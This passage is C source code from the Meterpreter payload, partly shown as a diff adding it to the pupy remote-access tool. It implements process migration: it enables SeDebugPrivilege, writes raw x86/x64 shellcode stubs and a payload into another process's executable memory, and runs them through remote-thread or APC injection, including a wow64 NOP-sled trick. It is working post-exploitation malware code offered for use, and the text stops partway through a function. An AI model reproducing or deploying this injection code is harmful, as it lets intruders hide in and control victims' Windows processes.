* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the request packet.
* @param pResult Pointer to the memory that will receive the result.
* @returns Indication of whether the server should continue processing or not.
*/
BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResult)
{
DWORD dwResult = ERROR_SUCCESS;
Packet * response = NULL;
HANDLE hToken = NULL;
HANDLE hProcess = NULL;
HANDLE hEvent = NULL;
BYTE * lpPayloadBuffer = NULL;
LPVOID lpMigrateStub = NULL;
LPBYTE lpMemory = NULL;
MIGRATECONTEXT ctx = { 0 };
DWORD dwMigrateStubLength = 0;
DWORD dwPayloadLength = 0;
DWORD dwProcessID = 0;
DWORD dwDestinationArch = 0;
MetsrvConfig* config = NULL;
DWORD configSize = 0;
do
{
response = packet_create_response(packet);
if (!response)
{
dwResult = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Get the process identifier to inject into
dwProcessID = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID);
// Get the target process architecture to inject into
dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH);
// Get the length of the payload buffer
dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN);
// Receive the actual migration payload buffer
lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);
dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength);
// If we can, get SeDebugPrivilege...
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
TOKEN_PRIVILEGES priv = { 0 };
priv.PrivilegeCount = 1;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid))
{
if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL));
{
dprintf("[MIGRATE] Got SeDebugPrivilege!");
}
}
CloseHandle(hToken);
}
// Open the process so that we can migrate into it
hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID);
if (!hProcess)
{
BREAK_ON_ERROR("[MIGRATE] OpenProcess failed")
}
// get the existing configuration
dprintf("[MIGRATE] creating the configuration block");
remote->config_create(remote, &config, &configSize);
dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config);
if (config->session.comms_fd)
{
// Duplicate the socket for the target process if we are SSL based
if (WSADuplicateSocket(config->session.comms_fd, dwProcessID, &ctx.info) != NO_ERROR)
{
BREAK_ON_WSAERROR("[MIGRATE] WSADuplicateSocket failed")
}
}
// Create a notification event that we'll use to know when it's safe to exit
// (once the socket has been referenced in the other process)
hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
if (!hEvent)
{
BREAK_ON_ERROR("[MIGRATE] CreateEvent failed")
}
// Duplicate the event handle for the target process
if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx.e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS))
{
BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed")
}
// Get the architecture specific process migration stub...
if (dwDestinationArch == PROCESS_ARCH_X86)
{
lpMigrateStub = (LPVOID)&migrate_stub_x86;
dwMigrateStubLength = sizeof(migrate_stub_x86);
}
else if (dwDestinationArch == PROCESS_ARCH_X64)
{
lpMigrateStub = (LPVOID)&migrate_stub_x64;
dwMigrateStubLength = sizeof(migrate_stub_x64);
}
else
{
SetLastError(ERROR_BAD_ENVIRONMENT);
dprintf("[MIGRATE] Invalid target architecture: %u", dwDestinationArch);
break;
}
// Allocate memory for the migrate stub, context, payload and configuration block
lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + sizeof(MIGRATECONTEXT) + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!lpMemory)
{
BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed")
}
// Calculate the address of the payload...
ctx.p.lpPayload = lpMemory + dwMigrateStubLength + sizeof(MIGRATECONTEXT);
// Write the migrate stub to memory...
dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength);
if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL))
{
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed")
}
// Write the migrate context to memory...
dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, sizeof(MIGRATECONTEXT));
if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, &ctx, sizeof(MIGRATECONTEXT), NULL))
{
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed")
}
// Write the migrate payload to memory...
dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx.p.lpPayload, dwPayloadLength);
if (!WriteProcessMemory(hProcess, ctx.p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL))
{
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed")
}
// finally write the configuration stub
dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx.p.lpPayload + dwPayloadLength, configSize);
if (!WriteProcessMemory(hProcess, ctx.p.lpPayload + dwPayloadLength, config, configSize, NULL))
{
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed")
}
// First we try to migrate by directly creating a remote thread in the target process
if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
{
dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread...");
// If that fails we can try to migrate via a queued APC in the target process
if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
{
BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed")
}
}
dwResult = ERROR_SUCCESS;
} while (0);
SAFE_FREE(config);
// If we failed and have not sent the response, do so now
if (dwResult != ERROR_SUCCESS && response)
{
dprintf("[MIGRATE] Sending response");
packet_transmit_response(dwResult, remote, response);
}
// Cleanup...
if (hProcess)
{
dprintf("[MIGRATE] Closing the process handle 0x%08x", hProcess);
CloseHandle(hProcess);
}
if (hEvent)
{
dprintf("[MIGRATE] Closing the event handle 0x%08x", hEvent);
CloseHandle(hEvent);
}
if (pResult)
{
*pResult = dwResult;
}
// if migration succeeded, return 'FALSE' to indicate server thread termination.
dprintf("[MIGRATE] Finishing migration, result: %u", dwResult);
return ERROR_SUCCESS == dwResult ? FALSE : TRUE;
}
/*!
* @brief Update the timeouts with the given values
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the request packet.
* @returns Indication of success or failure.
* @remark If no values are given, no updates are made. The response to
* this message is the new/current settings.
*/
DWORD remote_request_core_transport_set_timeouts(Remote * remote, Packet * packet)
{
DWORD result = ERROR_SUCCESS;
Packet* response = NULL;
do
{
response = packet_create_response(packet);
if (!response)
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
int expirationTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP);
int commsTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT);
DWORD retryTotal = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL);
DWORD retryWait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT);
// TODO: put this in a helper function that can be used everywhere?
// if it's in the past, that's fine, but 0 implies not set
if (expirationTimeout != 0)
{
dprintf("[DISPATCH TIMEOUT] setting expiration time to %d", expirationTimeout);
remote->sess_expiry_time = expirationTimeout;
remote->sess_expiry_end = current_unix_timestamp() + expirationTimeout;
}
if (commsTimeout != 0)
{
dprintf("[DISPATCH TIMEOUT] setting comms timeout to %d", commsTimeout);
remote->transport->timeouts.comms = commsTimeout;
remote->transport->comms_last_packet = current_unix_timestamp();
}
if (retryTotal > 0)
{
dprintf("[DISPATCH TIMEOUT] setting retry total to %u", retryTotal);
remote->transport->timeouts.retry_total = retryTotal;
}
if (retryWait > 0)
{
dprintf("[DISPATCH TIMEOUT] setting retry wait to %u", retryWait);
remote->transport->timeouts.retry_wait = retryWait;
}
// for the session expiry, return how many seconds are left before the session actually expires
packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp());
packet_add_tlv_uint(response, TLV_TYPE_TRANS_COMM_TIMEOUT, remote->transport->timeouts.comms);
packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_TOTAL, remote->transport->timeouts.retry_total);
packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_WAIT, remote->transport->timeouts.retry_wait);
} while (0);
if (response)
{
packet_transmit_response(result, remote, response);
}
return result;
}

View File

@ -0,0 +1,605 @@
/*
This code is originally from meterpreter and has been modified to be integrated into pupy.
original code :https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/common/arch/win/i386/
Meterpreter is available for use under the following license, commonly known as the
3-clause (or "modified") BSD license:
=========================================================================================
Meterpreter
-----------
Copyright (c) 2006-2013, Rapid7 Inc
Redistribution and use in source and binary forms, with or without modification, are
permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of
conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or other materials
provided with the distribution.
* Neither the name of Rapid7 nor the names of its contributors may be used to endorse or
promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
//#include "common.h"
#include <windows.h>
#include "thread.h"
#include "list.h"
#include "remote_thread.h"
#include "LoadLibraryR.h"
#include "base_inject.h"
#include <Tlhelp32.h>
#include "Python-dynload.h"
#define BREAK_ON_ERROR( str ) { PyErr_SetString(PyExc_Exception, str); break; }
// see '/msf3/external/source/shellcode/x86/migrate/executex64.asm'
BYTE migrate_executex64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00"
"\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00"
"\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00"
"\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24"
"\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24";
// see '/msf3/external/source/shellcode/x64/migrate/remotethread.asm'
BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00"
"\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48"
"\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A"
"\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9"
"\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C"
"\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00"
"\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40"
"\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6"
"\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0"
"\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40"
"\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0"
"\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58"
"\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A"
"\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D"
"\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01"
"\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8"
"\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00"
"\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00"
"\x48\x83\xC4\x50\x48\x89\xFC\xC3";
// see '/msf3/external/source/shellcode/x86/migrate/apc.asm'
BYTE apc_stub_x86[] = "\xFC\x8B\x74\x24\x04\x55\x89\xE5\xE8\x89\x00\x00\x00\x60\x89\xE5"
"\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F"
"\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF"
"\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B"
"\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01"
"\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF"
"\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58"
"\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04"
"\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58"
"\x5F\x5A\x8B\x12\xEB\x86\x5B\x80\x7E\x10\x00\x75\x3B\xC6\x46\x10"
"\x01\x68\xA6\x95\xBD\x9D\xFF\xD3\x3C\x06\x7C\x1A\x31\xC9\x64\x8B"
"\x41\x18\x39\x88\xA8\x01\x00\x00\x75\x0C\x8D\x93\xCF\x00\x00\x00"
"\x89\x90\xA8\x01\x00\x00\x31\xC9\x51\x51\xFF\x76\x08\xFF\x36\x51"
"\x51\x68\x38\x68\x0D\x16\xFF\xD3\xC9\xC2\x0C\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00";
// see '/msf3/external/source/shellcode/x64/migrate/apc.asm'
BYTE apc_stub_x64[] = "\xFC\x80\x79\x10\x00\x0F\x85\x13\x01\x00\x00\xC6\x41\x10\x01\x48"
"\x83\xEC\x78\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48"
"\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48"
"\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C"
"\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41"
"\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B"
"\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01"
"\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF"
"\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41"
"\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45"
"\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C"
"\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41"
"\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20"
"\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF"
"\x5D\x48\x31\xD2\x65\x48\x8B\x42\x30\x48\x39\x90\xC8\x02\x00\x00"
"\x75\x0E\x48\x8D\x95\x07\x01\x00\x00\x48\x89\x90\xC8\x02\x00\x00"
"\x4C\x8B\x01\x4C\x8B\x49\x08\x48\x31\xC9\x48\x31\xD2\x51\x51\x41"
"\xBA\x38\x68\x0D\x16\xFF\xD5\x48\x81\xC4\xA8\x00\x00\x00\xC3\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00";
/*
* Attempt to gain code execution in the remote process via a call to ntdll!NtQueueApcThread
* Note: Windows Server 2008R2 can blue screen if you use APC injection to inject into another sessions csrss.exe
*/
DWORD inject_via_apcthread( HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter )
{
DWORD dwResult = ERROR_ACCESS_DENIED;
HMODULE hNtdll = NULL;
NTQUEUEAPCTHREAD pNtQueueApcThread = NULL;
HANDLE hThreadSnap = NULL;
LPVOID lpApcStub = NULL;
LPVOID lpRemoteApcStub = NULL;
LPVOID lpRemoteApcContext = NULL;
LIST * thread_list = NULL;
THREADENTRY32 t = {0};
APCCONTEXT ctx = {0};
DWORD dwApcStubLength = 0;
do
{
thread_list = list_create();
if( !thread_list )
break;
ctx.s.lpStartAddress = lpStartAddress;
ctx.p.lpParameter = lpParameter;
ctx.bExecuted = FALSE;
t.dwSize = sizeof( THREADENTRY32 );
// Get the architecture specific apc migration stub...
if( dwDestinationArch == PROCESS_ARCH_X86 )
{
if( dwPupyArch == PROCESS_ARCH_X64 )
{
// injecting x64->x86(wow64)
// Our injected APC ends up running in native x64 mode within the wow64 process and as such
// will need a modified stub to transition to wow64 before execuing the apc_stub_x86 stub.
// This issue does not effect x64->x86 injection using the kernel32!CreateRemoteThread method though.
SetLastError( ERROR_ACCESS_DENIED );
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Can't do x64->x86 APC injection yet." )
}
else
{
// injecting x86->x86
lpApcStub = &apc_stub_x86;
dwApcStubLength = sizeof( apc_stub_x86 );
}
}
else if( dwDestinationArch == PROCESS_ARCH_X64 )
{
// injecting x64->x64 (and the same stub for x86(wow64)->x64)
lpApcStub = &apc_stub_x64;
dwApcStubLength = sizeof( apc_stub_x64 );
if( dwPupyArch == PROCESS_ARCH_X86 )
{
// injecting x86(wow64)->x64
// For now we leverage a bug in wow64 to get x86->x64 injection working, this
// will simply fail gracefully on systems where the technique does not work.
MEMORY_BASIC_INFORMATION mbi = {0};
LPVOID lpRemoteAddress = NULL;
BYTE * lpNopSled = NULL;
BYTE bStub[] = "\x48\x89\xC8\x48\xC1\xE1\x20\x48\xC1\xE9\x20\x48\xC1\xE8\x20\xFF\xE0";
/*
// On Windows 2003 x64 there is a bug in the implementation of NtQueueApcThread for wow64 processes.
// The call from a wow64 process to NtQueueApcThread to inject an APC into a native x64 process is sucessful,
// however the start address of the new APC in the native x64 process is not what we specify but instead it is
// the address of the wow64.dll export wow64!Wow64ApcRoutine as found in the wow64 process! We can simple VirtualAlloc
// this address (No ASLR on Windows 2003) and write a simple NOP sled which will jump to our real APC. From there
// injection will continue as normal.
// The registers on the native x64 process after the queued APC is attempted to run:
rip = 000000006B0095F0 // address of wow64!Wow64ApcRoutine as found in the wow64 process
rcx = ( dwApcRoutine << 32 ) | dwApcRoutineContext // (our start address and param)
rdx = dwApcStatusBlock // unused
r8 = dwApcReserved // unused
// On the WOW64 process side:
wow64:000000006B0095F0 ; Exported entry 3. Wow64ApcRoutine
wow64:000000006B0095F0
wow64:000000006B0095F0 public Wow64ApcRoutine
// On the native x64 process side:
ntdll:0000000077EF30A0 public KiUserApcDispatcher
ntdll:0000000077EF30A0 mov rcx, [rsp] // 32bit dwApcRoutine and 32bit dwApcRoutineContext into 64bit value
ntdll:0000000077EF30A4 mov rdx, [rsp+8] // 32bit dwApcStatusBlock
ntdll:0000000077EF30A9 mov r8, [rsp+10h] // 32bit dwApcReserved
ntdll:0000000077EF30AE mov r9, rsp
ntdll:0000000077EF30B1 call qword ptr [rsp+18h] // <--- we call the other processes wow64 address for wow64!Wow64ApcRoutine!
// Our bStub:
00000000 4889C8 mov rax, rcx
00000003 48C1E120 shl rcx, 32
00000007 48C1E920 shr rcx, 32
0000000B 48C1E820 shr rax, 32
0000000F FFE0 jmp rax
*/
// alloc the address of the wow64!Wow64ApcRoutine export in the remote process...
// TO-DO: parse the PE64 executable wow64.dll to get this at runtime.
lpRemoteAddress = VirtualAllocEx( hProcess, (LPVOID)0x6B0095F0, 8192, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteAddress )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx 0x6B0095F0 failed" );
if( VirtualQueryEx( hProcess, lpRemoteAddress, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ) == 0 )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualQueryEx failed" );
lpNopSled = (BYTE *)malloc( mbi.RegionSize );
if( !lpNopSled )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: malloc lpNopSled failed" );
memset( lpNopSled, 0x90, mbi.RegionSize );
if( !WriteProcessMemory( hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL ) )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpNopSled failed" )
if( !WriteProcessMemory( hProcess, ((BYTE*)lpRemoteAddress + mbi.RegionSize - sizeof(bStub)), bStub, sizeof(bStub), NULL ) )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory bStub failed" )
free( lpNopSled );
}
}
else
{
SetLastError( ERROR_BAD_ENVIRONMENT );
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Invalid target architecture" )
}
hNtdll = LoadLibraryA( "ntdll" );
if( !hNtdll )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: LoadLibraryA failed" )
pNtQueueApcThread = (NTQUEUEAPCTHREAD)GetProcAddress( hNtdll, "NtQueueApcThread" );
if( !pNtQueueApcThread )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: GetProcAddress NtQueueApcThread failed" )
hThreadSnap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
if( !hThreadSnap )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: CreateToolhelp32Snapshot failed" )
if( !Thread32First( hThreadSnap, &t ) )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Thread32First failed" )
// Allocate memory for the apc stub and context
lpRemoteApcStub = VirtualAllocEx( hProcess, NULL, dwApcStubLength + sizeof(APCCONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteApcStub )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx failed" )
// Simply determine the apc context address
lpRemoteApcContext = ( (BYTE *)lpRemoteApcStub + dwApcStubLength );
//printf( "[INJECT] -- dwPupyArch=%s, lpRemoteApcStub=0x%08X, lpRemoteApcContext=0x%08X", ( dwPupyArch == 2 ? "x64" : "x86" ), lpRemoteApcStub, lpRemoteApcContext );
// Write the apc stub to memory...
if( !WriteProcessMemory( hProcess, lpRemoteApcStub, lpApcStub, dwApcStubLength, NULL ) )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcStub failed" )
// Write the apc context to memory...
if( !WriteProcessMemory( hProcess, lpRemoteApcContext, (LPCVOID)&ctx, sizeof(APCCONTEXT), NULL ) )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcContext failed" )
do
{
HANDLE hThread = NULL;
// Only proceed if we are targeting a thread in the target process
if( t.th32OwnerProcessID != dwProcessID )
continue;
// Open a handle to this thread so we can do the apc injection
hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, t.th32ThreadID );
if( !hThread )
continue;
//printf("[INJECT] inject_via_apcthread: Trying to inject into thread %d", t.th32ThreadID );
// Only inject into threads we can suspend to avoid synchronization issue whereby the new metsrv will attempt
// an ssl connection back but the client side will not be ready to accept it and we loose the session.
if( SuspendThread( hThread ) != (DWORD)-1 )
{
list_push( thread_list, hThread );
// Queue up our apc stub to run in the target thread, when our apc stub is run (when the target
// thread is placed in an alertable state) it will spawn a new thread with our actual migration payload.
// Any successfull call to NtQueueApcThread will make migrate_via_apcthread return ERROR_SUCCESS.
if( pNtQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS )
{
//printf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Succeeded.", t.th32ThreadID );
dwResult = ERROR_SUCCESS;
}
else
{
//printf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Failed.", t.th32ThreadID );
}
}
else
{
CloseHandle( hThread );
}
// keep searching for more target threads to inject our apc stub into...
} while( Thread32Next( hThreadSnap, &t ) );
} while( 0 );
/*
if( dwResult == ERROR_SUCCESS && remote && response )
{
// We should only run this block if we are being used for migration...
// Send a successful response to let the ruby side know that we've pretty
// much successfully migrated and have reached the point of no return
packet_add_tlv_uint( response, TLV_TYPE_MIGRATE_TECHNIQUE, MIGRATE_TECHNIQUE_APCQUEUE );
packet_transmit_response( ERROR_SUCCESS, remote, response );
// Sleep to give the remote side a chance to catch up...
Sleep( 2000 );
}
*/
if( thread_list )
{
// Resume all the threads which we queued our apc into as the remote
// client side will now be ready to handle the new ssl conenction.
while( TRUE )
{
HANDLE t = (HANDLE)list_pop( thread_list );
if( !t )
break;
ResumeThread( t );
CloseHandle( t );
}
list_destroy( thread_list );
}
if( hThreadSnap )
CloseHandle( hThreadSnap );
if( hNtdll )
FreeLibrary( hNtdll );
SetLastError( dwResult );
return dwResult;
}
/*
* Attempt to gain code execution in a native x64 process from a wow64 process by transitioning out of the wow64 (x86)
* enviroment into a native x64 enviroment and accessing the native win64 API's.
* Note: On Windows 2003 the injection will work but in the target x64 process issues occur with new
* threads (kernel32!CreateThread will return ERROR_NOT_ENOUGH_MEMORY). Because of this we filter out
* Windows 2003 from this method of injection, however the APC injection method will work on 2003.
*/
DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread )
{
DWORD dwResult = ERROR_SUCCESS;
EXECUTEX64 pExecuteX64 = NULL;
X64FUNCTION pX64function = NULL;
WOW64CONTEXT * ctx = NULL;
OSVERSIONINFO os = {0};
do
{
os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
if( !GetVersionEx( &os ) )
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: GetVersionEx failed" )
// filter out Windows 2003
if ( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 )
{
SetLastError( ERROR_ACCESS_DENIED );
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: Windows 2003 not supported." )
}
// alloc a RWX buffer in this process for the EXECUTEX64 function
pExecuteX64 = (EXECUTEX64)VirtualAlloc( NULL, sizeof(migrate_executex64), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !pExecuteX64 )
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" )
// alloc a RWX buffer in this process for the X64FUNCTION function (and its context)
pX64function = (X64FUNCTION)VirtualAlloc( NULL, sizeof(migrate_wownativex)+sizeof(WOW64CONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !pX64function )
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed" )
// copy over the wow64->x64 stub
memcpy( pExecuteX64, &migrate_executex64, sizeof(migrate_executex64) );
// copy over the native x64 function
memcpy( pX64function, &migrate_wownativex, sizeof(migrate_wownativex) );
// set the context
ctx = (WOW64CONTEXT *)( (BYTE *)pX64function + sizeof(migrate_wownativex) );
ctx->h.hProcess = hProcess;
